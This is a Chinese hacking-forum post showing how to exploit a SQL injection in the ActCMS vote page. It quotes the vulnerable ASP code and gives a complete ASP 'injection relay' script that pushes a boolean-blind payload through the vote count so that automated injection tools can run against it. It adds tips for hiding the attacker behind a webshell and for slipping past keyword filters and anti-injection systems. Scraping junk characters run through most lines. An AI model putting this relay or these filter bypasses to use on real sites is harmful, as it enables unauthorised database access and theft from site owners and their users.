中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他
! q$ G% o. R8 g6 |$ J! c
看到ninty大牛的blog的一篇文章. p6 m* r& Q5 s. B* S& m
链接标记[url]http://www.forjj.com/?action=show&id=80[/url], B* q# Z- U! o$ y. H
关于actcms漏洞的利用  by 3x qq:381862589
0 h) Z6 i; z" y4 b- G' ~3 d转载请注明以上# z4 I# B- M3 n, _
漏洞文件:, I$ S7 _- T4 }+ T/ O( J: O
/plus/vote/vote.asp
! f- j! c4 Q! U& F# q  ~- {% }代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
5 Y* I" Y, ^. T# C, }6 S
. P* @, I% U9 u# l8 }$ H2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
6 P4 R7 v: b5 [4 ^) ^- a: _' g2 v7 Y7 R. n0 `8 Z2 j, n
3    response.end   
1 c3 L2 r1 p, v, j% F7 S+ O& ?  E+ x! B1 i! |8 }6 Z3 v
4    end if    * X* f+ e7 u+ U
7 n; s: q! H  s8 q
5    for i=1 to request("voted").count    7 t& O' i. m' f: J# k

( |; g+ P' s  W7 U) m6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    . B1 [5 t( w! [9 F, F$ R2 W; c

2 Y5 M- M- [. I+ |9 @! B1 x1 t7    next   
  Y# y  V6 `  k) x5 ?! c0 Z5 G, {" W+ `6 E
8....   
) {) g% w# i- h- I* y# L/ h( j+ z6 |
9response.Redirect "index.asp?id="&id&""   6 C8 r* |& W- ^+ N. ~. Q
投票结束回跳转回index.asp这个投票结果页面
& x% B& p+ ~( [2 u& v% A2 j2 W如果投票成功票数加1
5 [$ Q$ P# e  {9 t: E( v  V% s5 `8 W            失败票数不变' B7 J: q) Y' Y
如图:9 [3 H% _% a$ F' I2 d3 a( j
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
% F+ \/ }; s3 o) |
; C$ H) ]/ e# T; R$ L2009-12-27 13:20
7 q$ j5 Q) R  Q# J+ B; o9 T! W
; V$ d8 Z7 E# l( T& L% @利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了* L2 h; T6 s( P7 ?* Q' g/ A9 C

2 }) d$ s) q$ a8 U本帖隐藏的内容需要回复才可以浏览
1 T/ ]) K. |& h+ @# x) o- p7 n( u我们用注入中转来实现这个注入具体代码如下:
; }2 G$ a3 q( e9 P' i先用寂寞的刺猬大牛的注入中转生成jmget.asp/ G+ d7 L/ _6 i3 o% q. t8 c% \% _
注入地址:http://localhost/actcms/plus/vote/vote.asp
: |  h7 Z6 k- g( G注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项% O" u; z9 B; X& v; P6 C

6 _8 o$ n& n# H, j8 E  ^然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
. b* z9 f4 U) N1 A7 y& w+ Q/ J' E
02JmdcwName=request("jmdcw") % e* T( Q# x7 M' K

# B0 G7 }/ \! o" M) A03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
( J1 I. D; ^$ j$ [' w0 }
" g2 J% D3 K# @04JmStr="id=1&voted=-1 or 1="&JmdcwName 7 b. n( L4 Z' [2 R$ J
% T$ w8 w1 y3 I6 L: o+ j3 c+ y
05JmStr=URLEncoding(JmStr)
5 o2 D5 w* f; {: o* t/ ~  v1 f
2 T2 M9 u* }' A2 L! z- y06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp", c( Q; _6 F& L
0 E& ?3 v1 Q4 r; @
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
8 G0 V3 o) \- O5 o: I% P7 W1 n  }8 p3 ~8 X$ \, ^) f8 h' O/ j
08testurl=testurl & "?" & JmStr # D* @' r" ?' M+ v$ h& M
3 L! I5 J1 s7 U) P. r0 Z1 ^# z
09JMUrl=JMUrl & "?" & JmStr ; F& U. N* t& h/ q; [! y+ x
$ ^& @7 w' s/ \, p
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"" N- `6 Z8 r9 R: u; @1 y

5 k6 z7 n1 D7 ~0 G2 r+ a/ ~11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
# m8 b4 E! _" y1 C' Z* K' n
/ F: Y) ^# ^  U: ~) K12JmCok=replace(JmCok,chr(32),"%20")  # H$ L1 l7 Q' V2 ~6 ^. B6 k
% @; K! S. y3 R$ e6 Z
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 2 M9 s" a( O3 {8 {" s8 H  Z
/ M( S4 M: R" D& w3 h( K
14  ; C' g/ x9 H. a& Y* E% s& u
3 f* x1 C" M- ]2 S: W: ~$ o) L
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
9 @- G/ j3 J' N! `' [
2 `6 n7 v- G  N( ~+ P16  
7 q! ^1 ~& a3 o! c$ U9 ]+ o5 n/ K5 ?. W- u
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 ! e5 _# j; ~; j
) L* C% [: V& Y: U' c2 k! X' v
18response.write test1&""&test2&""! o% j- c1 Z! U3 n* {4 f
! H5 D* W% n6 L! p: v. \1 `9 B
19  , e/ s  k0 P0 @3 ^; c+ g: Z
; q$ X/ \* Z5 L9 U/ T0 K
20if test1=test2 then '如前后记录相等,表示失败
' Q' ]! c1 p6 c8 E. b' Z  N' O/ c% j' f& B  ?
21  response.write "failed"
  M# z$ d# p! J- r( P/ t0 L" t, q
22else
! A; R: ]1 ]" s: u. W
0 d' b$ k8 w1 B& y5 s23  response.write "succeed"
/ ?/ V$ a/ _, Z" l4 @5 A3 g8 B; X5 I6 m, O
24end if  " F% I. y* _) r5 C3 M5 d
6 ^& M4 y0 J. T8 {* P3 u
25  & T$ [" k% [% r  Q8 q$ J

/ c" e, P% A6 x8 X26response.write "by 3x"
$ G6 t* g, Q! X' C/ f8 r7 [3 M* O/ h% z, A" d  X
27  
0 R$ N7 U3 l( M( k/ O# S1 p6 d0 h' Q) p- X! m0 u
28  
: w% S2 @6 {. g' G1 D9 V# M4 h+ }( X, e
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
, ?5 M9 g: o4 r+ C* v
0 {% o" M( c$ V2 a0 C# \! [30Dim Http
$ w* u% J: b" M6 R. h: Q9 k# p3 H+ T: h4 x6 h
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
7 z% Q$ c$ k/ g& U4 B/ S& H$ D9 {2 d6 g! M) f0 V9 S) F- P/ m1 ~
32With Http - X5 w0 {$ O6 F' K; [" j
/ W" n4 D  E$ v# I4 i
33  $ q% ?+ [% ~; X: t

; r  I; S7 u& Q0 _9 q34.Open "GET",PostUrl,False
6 p  T' X" A. X' R( C, m6 t) P7 B/ I/ H0 h6 r) |& x
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"! |8 |/ v, ?( e
4 I- I- m7 U3 {) ?
36.SetRequestHeader "Referer",PostRef
/ [2 u. L) |- u# a9 o" a  u
4 v, A! F- f) t* I1 o/ N1 @- M37.SetRequestHeader "Cookie",PostCok
! e/ ]7 v& Z4 Q1 d& w" `7 n
2 z; \7 U9 c9 K/ m38.Send ()
+ v- w: t: S2 |, A2 Q" y2 Z; N6 X# Z2 [" Y$ o/ l
39PostData = .ResponseBody # Q3 v  t1 O/ M# |4 C9 \! ~9 k
$ J4 V1 S$ B( q% F
40End With
, p0 D( J2 N9 K; o9 |! J0 r4 r
  E% j/ E8 z/ Z9 G" f) k) `41Set Http = Nothing% f' s' @9 K5 _  Q4 t) i

% x2 Z* Y1 [! O4 ^! _  a4 E  L6 `42PostData =bytes2BSTR(PostData)
  G( F# b1 l% D7 m2 N0 Q* p1 o& e- K8 T6 o, I1 i
43End Function
; t- X; U9 i6 T8 Z5 [2 ~7 p5 n+ L7 X5 l$ H$ R+ P/ w0 V! V0 ~
44  & ]+ p5 k0 c: c6 O! s4 u0 X
1 F, d- X+ c' d0 ~
45  8 A( `/ Y8 w- M6 T% ]

; v1 h; U% H. |9 c# h46Function bytes2BSTR(vIn)
  V7 G4 ?. @" L2 k) z; j4 i* P0 D4 y2 L( `) R8 M
47Dim strReturn
& v$ t2 {3 X/ V/ l$ f, U+ S9 ], u& e( P5 P' t
48Dim I, ThisCharCode, NextCharCode
5 @( a  T" ~% {$ r7 N% D6 {) a& N; N4 O& H
49strReturn = ""2 _( v. d* I; v% B9 @  _

+ c7 ~) a5 Y0 F50For I = 1 To LenB(vIn)
8 q- [7 y# b/ ]) H8 n6 D
" Q  m) b4 M4 \9 \% b5 a51ThisCharCode = AscB(MidB(vIn, I, 1))
. u% a# X. i& K' }) c; L1 f; n. j! U7 f/ T' R- U
52If ThisCharCode < &H80 Then9 r. E0 c2 f; i, G; d* _
9 k: j# x7 @& R; W7 ^
53strReturn = strReturn & Chr(ThisCharCode)
8 j2 f" {& B7 h- T( _2 {( q: t/ h0 m% @2 d4 f3 N% q
54Else
# Q" W8 n, p" J; d* V8 u1 Z6 C/ q6 U9 m+ H, P
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) & q& |) u/ q9 Z* N9 R
; R8 J& E; `- k
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 3 U6 G# {, J$ a+ P
! e$ `# c4 R) `
57I = I + 1 1 \) u- C, l4 W& p

: `! {% S' i' F8 f# a58End If; B0 `( g, I6 R1 W; F# g: [; \& S, N$ Q
. C1 r* W/ o/ Z2 V6 O% u5 x
59Next) r; y/ w8 d* C3 s. S3 r
$ l! ^0 v3 q: ~/ S
60bytes2BSTR = strReturn - {/ k. a7 [! N4 ^
% B+ L6 s; ~( s* g5 h$ n5 l2 V& J4 z8 W
61End Function
* y9 M. |6 U/ L8 B# X( l4 U$ b
! o* `" R0 s8 D# @3 [62  
' i$ X9 ]. x5 z+ F5 @2 e- o
" S; u& e# f9 J4 F! m63Function URLEncoding(vstrin)  
( `& A# W+ I' C- Z+ Z- U/ q0 N. G) l9 C8 r" s  H, A
64strReturn=""
% G8 U# ]4 T) i$ U* |6 |& F' W) k$ e- Y- Z; V* ^
65Dim i ! |7 ?- _; b* b7 _+ C

( x" U. K  C/ d2 k66For i=1 To Len(vstrin)
* [$ ?8 ^) ^7 t' `. X2 I4 x' P. I. O3 }) b, }6 P6 f/ N
67ThisChr=Mid(vstrin,i,1)
4 L* v; f+ O/ q1 l; ^) o/ ^, W4 ?- R2 t
68if Abs(Asc(ThisChr))< &HFF Then/ z0 C4 ~' J" n  U$ v; J

) f( t5 j7 K, }0 v2 ]69strReturn=strReturn & ThisChr ; R: S5 n: u! x( |! B) e; a
; Q% ~; I+ w- n- {( `5 W# ~/ a6 y% ^* x
70Else
, F, \# h1 v- s& ^4 p6 `, I! _% {. I9 l' Q' |1 x1 r
71InnerCode=Asc(ThisChr) 1 [/ d3 E/ d) e0 ]# n/ j  r
4 J, h1 {$ g3 P/ y$ C
72If InnerCode<0 Then
: F2 v3 }. D& B# ~6 `
) B( `9 R2 D* ~- H0 J5 k; c73InnerCode=InnerCode + &H10000
8 _. D; E6 j% F
# c; G  D7 X* i! ?3 ^8 Z74End If
- y( v0 q6 n9 U- w  J
& T6 f) j" L( B2 C0 W75Hight1=(InnerCode And &HFF00) \&HFF ) x8 ]3 t+ I  P/ N
5 H* b6 }& Y& `, e
76Low1=InnerCode And &HFF   S, n3 G2 ?% L

. g8 W# d$ a: i: R- N/ V77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) " S" P* c7 s, b  F' g# M
+ T7 _7 K* @6 q4 R
78End if
8 U5 @* ^0 m# P' \' k6 q8 d( y2 n, J4 H; C5 Q: D
79Next0 ~6 B5 O6 k% k

1 j! b* v, l/ x1 D80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 ( V7 O5 i8 s. E2 Z/ J2 O- A

2 h( p9 i. x0 }5 _- \1 f5 e7 |81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ) n7 A9 M, J" R- J8 o  M; R
; g' n! {& y" n3 Q( [( c- S& f& }
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 7 S3 }! W, d) @7 J+ g& S

3 @/ C; w, p& X7 z83URLEncoding=strReturn , ]6 S; n+ A4 w6 j/ D  t6 s8 ?

3 {+ {( Z( H8 T6 G5 O4 S# F84End Function
# U4 n4 A- B; A! p' H7 d9 |  q! o" Z- M% D/ Z/ B, U
85  7 i- T" V1 m8 B  r  ^3 d

  ~1 o/ Q3 m9 N0 Z* Q! l86function getSt(body) 1 k) f; @$ ^/ b0 ]8 A: l8 T
, S/ n' H' K/ y7 s! R3 f5 t
87  startpot=instr(body,"投票人数:")+len("投票人数:") ( T# s. c& I4 P3 P( e1 i) H

& K& S/ z; b) h$ G+ Y88  endpot=instr(startpot,body," ") ' }" {$ m% L9 k% g+ e
' J- K& T+ A$ r# x- ~! k, v
89  getSt=mid(body,startpot,endpot-startpot)
" @% y: S) z9 I8 u
; ?. t/ n$ H9 ^) O90end function % R- D3 j2 ?* u2 i$ U! P

, b1 C" e# d: m, m- ]91%>! n- Y( o% Z  E( [
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
+ d5 o( M" g# c8 m. d# k; s( S测试下效果:$ M# W) \+ f2 D3 A( J1 N
投票成功:
! u! q  I$ V  }1 y- Dhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)$ n1 w; O, r! U2 L" M

( F4 g# G2 d' {2009-12-27 13:29( @8 a/ y2 O" l* P# r( r
投票失败
/ \! _. n5 {5 a& g, N# u$ Nhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
  G* N' }. `2 H$ c8 V( F4 h5 r: v) e0 I% B% r0 \
2009-12-27 13:29$ U" \; i8 `( I  N
-------------------------------------------------------------------------------
9 I. C3 Z. D! x7 R5 `6 J+ m) t再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以$ m4 x4 v1 A" X6 E; [# D+ _: y" H- P' Q
很抱歉。。。只能用单线程工具去注入。。。。。3 \! D5 C* P/ V2 D1 M( X. N: ^
所以失败。。。不好意思。。。- u! q& q1 M  T# P7 M9 u& k
-------------------------------------------------------------------------------, c# G6 y9 u& ]# u5 O' G
# v; E5 \+ X$ T2 N; `
注入中转的一些其他应用
* A4 I- r9 B! g, ?$ B2 r其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了1 W4 K8 b7 R( ?+ u2 s. k! |' z
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
5 @& L( Z7 B8 _4 |2.post注入转成get型的注入,方便我们使用工具来跑2 A0 @2 S" A3 f' p: P
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")4 _' B9 X9 S' {) x/ T1 K
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过2 f6 p- P8 |- N9 A/ v9 M
0 k4 ^" M4 C% }: w, Y8 S  u5 C





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2